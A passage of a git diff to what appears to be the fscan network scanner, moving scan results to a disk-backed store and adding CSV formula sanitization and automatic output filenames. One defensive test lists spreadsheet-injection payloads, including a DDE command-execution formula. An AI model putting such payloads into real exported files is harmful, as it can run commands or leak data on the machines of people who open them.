t.Fatalf("newDiskResultStore: %v", err) + } + defer func() { + _ = store.Close() + _ = store.Remove() + }() + + host := &ScanResult{Time: time.Now(), Type: TypeHost, Target: "192.0.2.1", Status: "alive"} + if err := store.Add(host); err != nil { + t.Fatalf("Add host: %v", err) + } + if err := store.Add(host); err != nil { + t.Fatalf("Add duplicate host: %v", err) + } + if err := store.Add(&ScanResult{Type: TypePort, Target: "192.0.2.1", Details: map[string]interface{}{"port": 443}}); err != nil { + t.Fatalf("Add port: %v", err) + } + if err := store.Add(&ScanResult{Type: TypeService, Target: "192.0.2.1:443", Details: map[string]interface{}{"service": "https", "server": "nginx"}}); err != nil { + t.Fatalf("Add service: %v", err) + } + if err := store.Add(&ScanResult{Type: TypeService, Target: "192.0.2.1:443", Details: map[string]interface{}{"title": "Example", "fingerprints": []string{"nginx"}}}); err != nil { + t.Fatalf("Merge service: %v", err) + } + + hosts, ports, services, vulns, err := store.Summary() + if err != nil { + t.Fatalf("Summary: %v", err) + } + if hosts != 1 || ports != 1 || services != 1 || vulns != 0 { + t.Fatalf("summary = %d/%d/%d/%d", hosts, ports, services, vulns) + } + + var merged *ScanResult + if err := store.ForEach(TypeService, func(result *ScanResult) error { + merged = result + return nil + }); err != nil { + t.Fatalf("ForEach: %v", err) + } + if merged == nil || merged.Details["server"] != "nginx" || merged.Details["title"] != "Example" { + t.Fatalf("merged service = %#v", merged) + } + if err := store.Sync(); err != nil { + t.Fatalf("Sync: %v", err) + } + if info, err := os.Stat(store.Path()); err != nil || info.Size() == 0 { + t.Fatalf("store stat = %#v, %v", info, err) + } +} + +func TestStreamingWriterRemovesStoreOnlyAfterSuccess(t *testing.T) { + path := filepath.Join(t.TempDir(), "results.json") + writer, err := NewJSONWriter(path) + if err != nil { + t.Fatalf("NewJSONWriter: %v", err) + } + storePath := writer.store.Path() + if _, err := os.Stat(storePath); err != nil { + t.Fatalf("store should exist while writer is active: %v", err) + } + if err := writer.Write(&ScanResult{Type: TypeHost, Target: "192.0.2.10"}); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + if _, err := os.Stat(storePath); !os.IsNotExist(err) { + t.Fatalf("store should be removed after success, stat error = %v", err) + } + if _, err := os.Stat(path + ".realtime.tmp"); !os.IsNotExist(err) { + t.Fatalf("realtime log should be removed after success, stat error = %v", err) + } +} + +func TestStreamingWriterKeepsRecoveryArtifactsOnFinalWriteFailure(t *testing.T) { + path := filepath.Join(t.TempDir(), "results.json") + writer, err := NewJSONWriter(path) + if err != nil { + t.Fatalf("NewJSONWriter: %v", err) + } + storePath := writer.store.Path() + if err := writer.Write(&ScanResult{Type: TypeHost, Target: "192.0.2.20"}); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.file.Close(); err != nil { + t.Fatalf("close final file: %v", err) + } + if err := writer.Close(); err == nil { + t.Fatal("Close should report the final output failure") + } + if _, err := os.Stat(storePath); err != nil { + t.Fatalf("store should be retained after failure: %v", err) + } + if _, err := os.Stat(path + ".realtime.tmp"); err != nil { + t.Fatalf("realtime log should be retained after failure: %v", err) + } + _ = os.Remove(storePath) + _ = os.Remove(path + ".realtime.tmp") +} + +func TestDiskResultStoreKeepsHeapBounded(t *testing.T) { + if testing.Short() { + t.Skip("skipping streaming heap test in short mode") + } + store, err := newDiskResultStore(filepath.Join(t.TempDir(), "large.json")) + if err != nil { + t.Fatalf("newDiskResultStore: %v", err) + } + defer func() { + _ = store.Close() + _ = store.Remove() + }() + + runtime.GC() + var before runtime.MemStats + runtime.ReadMemStats(&before) + payload := strings.Repeat("x", 2048) + const resultCount = 10_000 + for i := 0; i < resultCount; i++ { + result := &ScanResult{ + Type: TypeHost, + Target: fmt.Sprintf("198.51.100.%d", i), + Details: map[string]interface{}{ + "payload": payload, + }, + } + if err := store.Add(result); err != nil { + t.Fatalf("Add %d: %v", i, err) + } + } + if err := store.Sync(); err != nil { + t.Fatalf("Sync: %v", err) + } + runtime.GC() + var after runtime.MemStats + runtime.ReadMemStats(&after) + + heapGrowth := int64(after.HeapAlloc) - int64(before.HeapAlloc) + if heapGrowth > 12<<20 { + t.Fatalf("heap grew by %d bytes while streaming %d results", heapGrowth, resultCount) + } + storeInfo, err := os.Stat(store.Path()) + if err != nil { + t.Fatalf("stat result store: %v", err) + } + t.Logf("streamed %d results: heap growth=%d bytes, disk store=%d bytes", resultCount, heapGrowth, storeInfo.Size()) + hosts, _, _, _, err := store.Summary() + if err != nil || hosts != resultCount { + t.Fatalf("stored hosts = %d, err = %v", hosts, err) + } +} diff --git a/common/output/writers.go b/common/output/writers.go index c0013ebe..91518fd9 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -14,6 +14,83 @@ import ( "github.com/shadow1ng/fscan/common/i18n" ) +const ( + realtimeSyncBatchSize = 128 + realtimeSyncInterval = time.Second +) + +func maybeSyncRealtime(file *os.File, pending *int, lastSync *time.Time, force bool) error { + if file == nil || pending == nil || lastSync == nil || *pending == 0 { + return nil + } + if !force && *pending < realtimeSyncBatchSize && time.Since(*lastSync) < realtimeSyncInterval { + return nil + } + if err := file.Sync(); err != nil { + return err + } + *pending = 0 + *lastSync = time.Now() + return nil +} + +func syncStreamingArtifacts(store *diskResultStore, realtimeFile *os.File, pending *int, lastSync *time.Time) error { + if store != nil { + if err := store.Sync(); err != nil { + return err + } + } + return maybeSyncRealtime(realtimeFile, pending, lastSync, true) +} + +func closeStreamingArtifacts(store *diskResultStore, realtimeFile *os.File, realtimePath string, pending *int, lastSync *time.Time, finalOK bool) error { + var firstErr error + if store != nil { + if err := store.Close(); err != nil { + firstErr = err + } + } + if realtimeFile != nil { + if err := maybeSyncRealtime(realtimeFile, pending, lastSync, true); err != nil && firstErr == nil { + firstErr = err + } + if err := realtimeFile.Close(); err != nil && firstErr == nil { + firstErr = err + } + } + if finalOK && firstErr == nil { + if store != nil { + if err := store.Remove(); err != nil && firstErr == nil { + firstErr = err + } + } + if err := os.Remove(realtimePath); err != nil && !os.IsNotExist(err) && firstErr == nil { + firstErr = err + } + } + return firstErr +} + +func sanitizeCSVCell(value string) string { + trimmed := strings.TrimLeft(value, " \t\r\n") + if trimmed == "" { + return value + } + switch trimmed[0] { + case '=', '+', '-', '@': + return "'" + value + default: + return value + } +} + +func sanitizeCSVRecord(record []string) []string { + for i := range record { + record[i] = sanitizeCSVCell(record[i]) + } + return record +} + // escapeControlChars 转义控制字符 func escapeControlChars(s string) string { s = strings.ToValidUTF8(s, "?") @@ -75,15 +152,17 @@ func targetWithPort(target string, port interface{}) string { // TXTWriter - 文本格式写入器 // ============================================================================= -// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出) +// TXTWriter 文本格式写入器(磁盘分类存储,按类型聚合输出) type TXTWriter struct { file *os.File bufWriter *bufio.Writer mu sync.Mutex closed bool - buffer *ResultBuffer // 内存分类缓冲 - realtimeFile *os.File // 实时备份文件 - realtimePath string // 实时备份文件路径 + store *diskResultStore + realtimeFile *os.File // 实时备份文件 + realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // NewTXTWriter 创建文本写入器 @@ -100,13 +179,21 @@ func NewTXTWriter(filePath string) (*TXTWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } return &TXTWriter{ file: file, bufWriter: bufio.NewWriter(file), - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -127,8 +214,10 @@ func (w *TXTWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(保持去重和最终分组输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(防崩溃丢数据) if w.realtimeFile != nil { @@ -136,7 +225,8 @@ func (w *TXTWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -324,6 +414,9 @@ func (w *TXTWriter) Flush() error { if err := w.bufWriter.Flush(); err != nil { return err } + if err := syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync); err != nil { + return err + } return w.file.Sync() } @@ -336,26 +429,22 @@ func (w *TXTWriter) Close() error { return nil } - // 按顺序写入所有分类结果 - w.writeSection(TypeHost, w.buffer.HostResults) - w.writeSection(TypePort, w.buffer.PortResults) - w.writeSection(TypeService, w.buffer.ServiceResults) - w.writeSection(TypeVuln, w.buffer.VulnResults) - - // 单独输出 Web 服务列表(便于复制测试) - w.writeWebServices() - - w.closed = true - - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + var firstErr error + for _, resultType := range storedResultTypes { + if err := w.writeSection(resultType); err != nil { + firstErr = err + break + } } + if firstErr == nil { + firstErr = w.writeWebServices() + } + w.closed = true - var firstErr error if err := w.bufWriter.Flush(); err != nil { - firstErr = err + if firstErr == nil { + firstErr = err + } } if err := w.file.Sync(); err != nil && firstErr == nil { firstErr = err @@ -363,50 +452,65 @@ func (w *TXTWriter) Close() error { if err := w.file.Close(); err != nil && firstErr == nil { firstErr = err } + + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } return firstErr } // writeSection 写入一个分类的所有结果 -func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) { - if len(results) == 0 { - return - } - - separator := w.getSeparator(resultType) - _, _ = w.bufWriter.WriteString(separator + "\n") - - for _, result := range results { +func (w *TXTWriter) writeSection(resultType ResultType) error { + wroteHeader := false + err := w.store.ForEach(resultType, func(result *ScanResult) error { + if !wroteHeader { + if _, err := w.bufWriter.WriteString(w.getSeparator(resultType) + "\n"); err != nil { + return err + } + wroteHeader = true + } line := w.formatLine(result) if line != "" { - _, _ = w.bufWriter.WriteString(line + "\n") + if _, err := w.bufWriter.WriteString(line + "\n"); err != nil { + return err + } } + return nil + }) + if err != nil { + return err } - _, _ = w.bufWriter.WriteString("\n") + if wroteHeader { + _, err = w.bufWriter.WriteString("\n") + } + return err } // writeWebServices 单独输出 Web 服务 URL 列表 -func (w *TXTWriter) writeWebServices() { - var urls []string - - for _, result := range w.buffer.ServiceResults { +func (w *TXTWriter) writeWebServices() error { + wroteHeader := false + err := w.store.ForEach(TypeService, func(result *ScanResult) error { if !w.isWebService(result) { - continue + return nil + } + if !wroteHeader { + if _, err := w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n"); err != nil { + return err + } + wroteHeader = true } - target := targetWithPort(result.Target, w.getDetail(result, "port")) - - urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) - } - - if len(urls) == 0 { - return + _, err := fmt.Fprintf(w.bufWriter, "%s://%s\n", w.webProtocol(result, target), target) + return err + }) + if err != nil { + return err } - - _, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n") - for _, url := range urls { - _, _ = w.bufWriter.WriteString(url + "\n") + if wroteHeader { + _, err = w.bufWriter.WriteString("\n") } - _, _ = w.bufWriter.WriteString("\n") + return err } // isWebService 判断是否为 Web 服务 @@ -446,15 +550,17 @@ func (w *TXTWriter) GetFormat() Format { // JSONWriter - JSON格式写入器 // ============================================================================= -// JSONWriter JSON格式写入器(分类去重,输出完整JSON) -// 双写机制:内存分类缓冲 + 实时NDJSON备份 +// JSONWriter JSON格式写入器(磁盘分类去重,流式生成完整JSON) +// 双写机制:磁盘事务存储 + 实时NDJSON备份 type JSONWriter struct { file *os.File mu sync.Mutex closed bool - buffer *ResultBuffer + store *diskResultStore realtimeFile *os.File // 实时备份文件(NDJSON格式) realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // JSONOutput JSON输出结构 @@ -489,12 +595,20 @@ func NewJSONWriter(filePath string) (*JSONWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } return &JSONWriter{ file: file, - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -515,8 +629,10 @@ func (w *JSONWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(用于最终有序输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(NDJSON格式,防崩溃丢失) if w.realtimeFile != nil { @@ -527,7 +643,8 @@ func (w *JSONWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -537,7 +654,12 @@ func (w *JSONWriter) Write(result *ScanResult) error { // Flush 刷新写入器 func (w *JSONWriter) Flush() error { - return nil + w.mu.Lock() + defer w.mu.Unlock() + if w.closed { + return nil + } + return syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync) } // Close 关闭写入器(写入完整JSON,删除临时备份) @@ -549,38 +671,90 @@ func (w *JSONWriter) Close() error { return nil } - hosts, ports, services, vulns := w.buffer.Summary() - output := JSONOutput{ - ScanTime: time.Now(), - Summary: JSONSummary{ - TotalHosts: hosts, - TotalPorts: ports, - TotalServices: services, - TotalVulns: vulns, - }, - Hosts: w.buffer.HostResults, - Ports: w.buffer.PortResults, - Services: w.buffer.ServiceResults, - Vulns: w.buffer.VulnResults, + w.closed = true + + var firstErr error + if err := w.writeJSONOutput(); err != nil { + firstErr = err + } + if err := w.file.Sync(); err != nil && firstErr == nil { + firstErr = err + } + if err := w.file.Close(); err != nil && firstErr == nil { + firstErr = err } - data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString) + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } + return firstErr +} + +func (w *JSONWriter) writeJSONOutput() error { + hosts, ports, services, vulns, err := w.store.Summary() if err != nil { return err } - - w.closed = true - - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + scanTime, err := json.Marshal(time.Now()) + if err != nil { + return err } - - if _, err := w.file.Write(data); err != nil { + summary, err := json.Marshal(JSONSummary{ + TotalHosts: hosts, + TotalPorts: ports, + TotalServices: services, + TotalVulns: vulns, + }) + if err != nil { return err } - return w.file.Close() + if _, err := fmt.Fprintf(w.file, "{\n \"scan_time\": %s,\n \"summary\": %s", scanTime, summary); err != nil { + return err + } + + sections := []struct { + name string + resultType ResultType + count int + }{ + {name: "hosts", resultType: TypeHost, count: hosts}, + {name: "ports", resultType: TypePort, count: ports}, + {name: "services", resultType: TypeService, count: services}, + {name: "vulns", resultType: TypeVuln, count: vulns}, + } + for _, section := range sections { + if section.count == 0 { + continue + } + if _, err := fmt.Fprintf(w.file, ",\n %q: [", section.name); err != nil { + return err + } + first := true + if err := w.store.ForEach(section.resultType, func(result *ScanResult) error { + data, err := json.Marshal(result) + if err != nil { + return err + } + separator := ",\n" + if first { + separator = "\n" + first = false + } + if _, err := w.file.WriteString(separator + " "); err != nil { + return err + } + _, err = w.file.Write(data) + return err + }); err != nil { + return err + } + if _, err := w.file.WriteString("\n ]"); err != nil { + return err + } + } + _, err = w.file.WriteString("\n}") + return err } // GetFormat 获取格式类型 @@ -592,17 +766,19 @@ func (w *JSONWriter) GetFormat() Format { // CSVWriter - CSV格式写入器 // ============================================================================= -// CSVWriter CSV格式写入器(分类去重) -// 双写机制:内存分类缓冲 + 实时NDJSON备份 +// CSVWriter CSV格式写入器(磁盘分类去重) +// 双写机制:磁盘事务存储 + 实时NDJSON备份 type CSVWriter struct { file *os.File bufWriter *bufio.Writer csvWriter *csv.Writer mu sync.Mutex closed bool - buffer *ResultBuffer + store *diskResultStore realtimeFile *os.File // 实时备份文件(NDJSON格式) realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // NewCSVWriter 创建CSV写入器 @@ -619,6 +795,13 @@ func NewCSVWriter(filePath string) (*CSVWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } bufWriter := bufio.NewWriter(file) csvWriter := csv.NewWriter(bufWriter) @@ -627,9 +810,10 @@ func NewCSVWriter(filePath string) (*CSVWriter, error) { file: file, bufWriter: bufWriter, csvWriter: csvWriter, - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -650,8 +834,10 @@ func (w *CSVWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(用于最终有序输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(NDJSON格式,防崩溃丢失) if w.realtimeFile != nil { @@ -662,7 +848,8 @@ func (w *CSVWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -672,7 +859,12 @@ func (w *CSVWriter) Write(result *ScanResult) error { // Flush 刷新写入器 func (w *CSVWriter) Flush() error { - return nil + w.mu.Lock() + defer w.mu.Unlock() + if w.closed { + return nil + } + return syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync) } // Close 关闭写入器(按类型分组写入,删除临时备份) @@ -684,42 +876,68 @@ func (w *CSVWriter) Close() error { return nil } - // 写入各分类 - w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord) - w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord) - w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) - w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord) - w.closed = true - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + var firstErr error + sections := []struct { + title string + headers []string + resultType ResultType + formatter func(*ScanResult) []string + }{ + {title: "# Hosts", headers: []string{"Target"}, resultType: TypeHost, formatter: w.formatHostRecord}, + {title: "# Ports", headers: []string{"Target", "Port", "Status"}, resultType: TypePort, formatter: w.formatPortRecord}, + {title: "# Services", headers: []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, resultType: TypeService, formatter: w.formatServiceRecord}, + {title: "# Vulns", headers: []string{"Target", "Type", "Details"}, resultType: TypeVuln, formatter: w.formatVulnRecord}, + } + for _, section := range sections { + if err := w.writeSection(section.title, section.headers, section.resultType, section.formatter); err != nil { + firstErr = err + break + } } - w.csvWriter.Flush() - if err := w.csvWriter.Error(); err != nil { - return err + if err := w.csvWriter.Error(); err != nil && firstErr == nil { + firstErr = err } - if err := w.bufWriter.Flush(); err != nil { - return err + if err := w.bufWriter.Flush(); err != nil && firstErr == nil { + firstErr = err } - return w.file.Close() -} - -func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) { - if len(results) == 0 { - return + if err := w.file.Sync(); err != nil && firstErr == nil { + firstErr = err + } + if err := w.file.Close(); err != nil && firstErr == nil { + firstErr = err } - _ = w.csvWriter.Write([]string{title}) - _ = w.csvWriter.Write(headers) + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } + return firstErr +} - for _, result := range results { - _ = w.csvWriter.Write(formatter(result)) +func (w *CSVWriter) writeSection(title string, headers []string, resultType ResultType, formatter func(*ScanResult) []string) error { + wroteHeader := false + err := w.store.ForEach(resultType, func(result *ScanResult) error { + if !wroteHeader { + if err := w.csvWriter.Write([]string{title}); err != nil { + return err + } + if err := w.csvWriter.Write(headers); err != nil { + return err + } + wroteHeader = true + } + return w.csvWriter.Write(sanitizeCSVRecord(formatter(result))) + }) + if err != nil { + return err } - _ = w.csvWriter.Write([]string{}) + if wroteHeader { + return w.csvWriter.Write([]string{}) + } + return nil } func (w *CSVWriter) formatHostRecord(result *ScanResult) []string { diff --git a/common/output/writers_test.go b/common/output/writers_test.go index 8ac2448a..3effb432 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -1,6 +1,7 @@ package output import ( + "encoding/csv" "encoding/json" "fmt" "os" @@ -171,6 +172,53 @@ func TestCSVWriterFormatRecords(t *testing.T) { } } +func TestCSVWriterSanitizesSpreadsheetFormulas(t *testing.T) { + tests := map[string]string{ + "=cmd|' /C calc'!A0": "'=cmd|' /C calc'!A0", + " +SUM(1,2)": "' +SUM(1,2)", + "-10+20": "'-10+20", + "@IMPORTXML(A1,B1)": "'@IMPORTXML(A1,B1)", + "example.com": "example.com", + } + for input, want := range tests { + if got := sanitizeCSVCell(input); got != want { + t.Fatalf("sanitizeCSVCell(%q) = %q, want %q", input, got, want) + } + } + + path := filepath.Join(t.TempDir(), "formula.csv") + writer, err := NewCSVWriter(path) + if err != nil { + t.Fatalf("NewCSVWriter: %v", err) + } + if err := writer.Write(createTestResult(TypeHost, "=HYPERLINK(\"https://example.com\")", "", nil)); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + + file, err := os.Open(path) + if err != nil { + t.Fatalf("Open: %v", err) + } + defer file.Close() + records, err := csv.NewReader(file).ReadAll() + if err != nil { + t.Fatalf("ReadAll: %v", err) + } + found := false + for _, record := range records { + if len(record) == 1 && record[0] == "'=HYPERLINK(\"https://example.com\")" { + found = true + break + } + } + if !found { + t.Fatalf("sanitized formula row not found in %#v", records) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/common/output_api.go b/common/output_api.go index a5239047..7bf56589 100644 --- a/common/output_api.go +++ b/common/output_api.go @@ -52,7 +52,7 @@ func InitOutput() error { } // 如果使用默认文件名但格式不是txt,自动修正扩展名 - if outputFile == "result.txt" && outputFormat != "txt" { + if outputFile == "result.txt" && outputFormat != "txt" && !fv.OutputFileExplicit { outputFile = "result." + outputFormat } diff --git a/common/output_filename.go b/common/output_filename.go new file mode 100644 index 00000000..f1e5a4db --- /dev/null +++ b/common/output_filename.go @@ -0,0 +1,137 @@ +package common + +import ( + "net/url" + "path/filepath" + "strings" + "unicode" + "unicode/utf8" + + "github.com/shadow1ng/fscan/common/parsers" +) + +const maxAutoOutputNameRunes = 120 + +func resolveDefaultOutputFile(fv *FlagVars, info *HostInfo) { + if fv == nil { + return + } + if fv.OutputFileExplicit || (fv.Outputfile != "" && fv.Outputfile != "result.txt") { + return + } + + extension := outputExtension(fv.OutputFormat) + target := firstOutputTarget(fv, info) + name := sanitizeOutputTarget(target) + if name == "" { + name = "result" + } + fv.Outputfile = name + "." + extension +} + +func outputExtension(format string) string { + switch strings.ToLower(strings.TrimSpace(format)) { + case "json": + return "json" + case "csv": + return "csv" + default: + return "txt" + } +} + +func firstOutputTarget(fv *FlagVars, info *HostInfo) string { + if info != nil { + if target := firstCommaValue(info.Host); target != "" { + return target + } + } + if target := firstCommaValue(fv.TargetURL); target != "" { + return target + } + if target := firstTargetFromFile(fv.HostsFile); target != "" { + return target + } + if target := firstTargetFromFile(fv.URLsFile); target != "" { + return target + } + if info != nil { + return strings.TrimSpace(info.URL) + } + return "" +} + +func firstCommaValue(input string) string { + for _, value := range strings.Split(input, ",") { + if value = strings.TrimSpace(value); value != "" { + return value + } + } + return "" +} + +func firstTargetFromFile(path string) string { + if strings.TrimSpace(path) == "" { + return "" + } + lines, err := parsers.ReadLinesFromFile(path) + if err != nil { + return "" + } + for _, line := range lines { + if target := firstCommaValue(line); target != "" { + return target + } + } + return "" +} + +func sanitizeOutputTarget(target string) string { + target = strings.TrimSpace(target) + if parsed, err := url.Parse(target); err == nil && parsed.Scheme != "" && parsed.Host != "" { + target = parsed.Host + } + + var builder strings.Builder + lastUnderscore := false + for _, r := range target { + invalid := unicode.IsControl(r) || strings.ContainsRune(`<>:"/\|?*`, r) + if invalid { + if !lastUnderscore { + builder.WriteByte('_') + lastUnderscore = true + } + continue + } + builder.WriteRune(r) + lastUnderscore = false + } + name := strings.Trim(builder.String(), " ._") + name = truncateOutputName(name, maxAutoOutputNameRunes) + if isReservedWindowsName(name) { + name = "_" + name + } + return name +} + +func truncateOutputName(name string, maxRunes int) string { + if utf8.RuneCountInString(name) <= maxRunes { + return name + } + runes := []rune(name) + return string(runes[:maxRunes]) +} + +func isReservedWindowsName(name string) bool { + base := strings.ToUpper(strings.TrimSuffix(name, filepath.Ext(name))) + switch base { + case "CON", "PRN", "AUX", "NUL", "CLOCK$": + return true + } + for _, prefix := range []string{"COM", "LPT"} { + if strings.HasPrefix(base, prefix) && len(base) == 4 && base[3] >= '1' && base[3] <= '9' { + return true + } + } + return false +} diff --git a/common/output_filename_test.go b/common/output_filename_test.go new file mode 100644 index 00000000..8adfd514 --- /dev/null +++ b/common/output_filename_test.go @@ -0,0 +1,97 @@ +package common + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestResolveDefaultOutputFile(t *testing.T) { + tests := []struct { + name string + fv *FlagVars + info *HostInfo + want string + }{ + { + name: "cidr target", + fv: &FlagVars{OutputFormat: "txt"}, + info: &HostInfo{Host: "192.1.1.1/24"}, + want: "192.1.1.1_24.txt", + }, + { + name: "first of multiple targets", + fv: &FlagVars{OutputFormat: "json"}, + info: &HostInfo{Host: "10.0.0.1,10.0.0.2"}, + want: "10.0.0.1.json", + }, + { + name: "url uses authority", + fv: &FlagVars{TargetURL: "https://example.com:8443/path", OutputFormat: "csv"}, + info: &HostInfo{}, + want: "example.com_8443.csv", + }, + { + name: "explicit output is preserved", + fv: &FlagVars{Outputfile: filepath.Join("reports", "custom.log"), OutputFileExplicit: true, OutputFormat: "json"}, + info: &HostInfo{Host: "192.0.2.1"}, + want: filepath.Join("reports", "custom.log"), + }, + { + name: "no target fallback", + fv: &FlagVars{OutputFormat: "json"}, + info: &HostInfo{}, + want: "result.json", + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + resolveDefaultOutputFile(test.fv, test.info) + if test.fv.Outputfile != test.want { + t.Fatalf("Outputfile = %q, want %q", test.fv.Outputfile, test.want) + } + }) + } +} + +func TestResolveDefaultOutputFileUsesFirstFileTarget(t *testing.T) { + path := filepath.Join(t.TempDir(), "targets.txt") + if err := os.WriteFile(path, []byte("\n192.0.2.10\n192.0.2.11\n"), 0600); err != nil { + t.Fatalf("WriteFile: %v", err) + } + fv := &FlagVars{HostsFile: path, OutputFormat: "txt"} + resolveDefaultOutputFile(fv, &HostInfo{}) + if fv.Outputfile != "192.0.2.10.txt" { + t.Fatalf("Outputfile = %q", fv.Outputfile) + } +} + +func TestSanitizeOutputTarget(t *testing.T) { + if got := sanitizeOutputTarget(`..\CON`); got != "_CON" { + t.Fatalf("reserved target = %q", got) + } + if got := sanitizeOutputTarget("2001:db8::1"); got != "2001_db8_1" { + t.Fatalf("IPv6 target = %q", got) + } + long := strings.Repeat("a", maxAutoOutputNameRunes+20) + if got := sanitizeOutputTarget(long); len([]rune(got)) != maxAutoOutputNameRunes { + t.Fatalf("long target length = %d", len([]rune(got))) + } +} + +func TestBuildConfigAppliesAutomaticOutputFile(t *testing.T) { + fv := &FlagVars{OutputFormat: "json"} + info := &HostInfo{Host: "203.0.113.0/24"} + cfg, _, err := BuildConfig(fv, info) + if err != nil { + t.Fatalf("BuildConfig: %v", err) + } + if cfg.Output.File != "203.0.113.0_24.json" { + t.Fatalf("Config output file = %q", cfg.Output.File) + } + if fv.Outputfile != cfg.Output.File { + t.Fatalf("flag/config output mismatch: %q != %q", fv.Outputfile, cfg.Output.File) + } +} diff --git a/common/session.go b/common/session.go index 42bdc96c..4b448682 100644 --- a/common/session.go +++ b/common/session.go @@ -2,11 +2,13 @@ package common import ( "context" + "errors" "fmt" "net" "net/http" "strings" "sync" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common/i18n" @@ -26,10 +28,16 @@ type ScanSession struct { ResultSink ResultSink // 可选,覆盖全局输出 PauseGate func(ctx context.Context) error + HTTPClient *http.Client + HTTPClientNoRedirect *http.Client + HTTPClientGM *http.Client + HTTPClientNoRedirectGM *http.Client + // 每会话 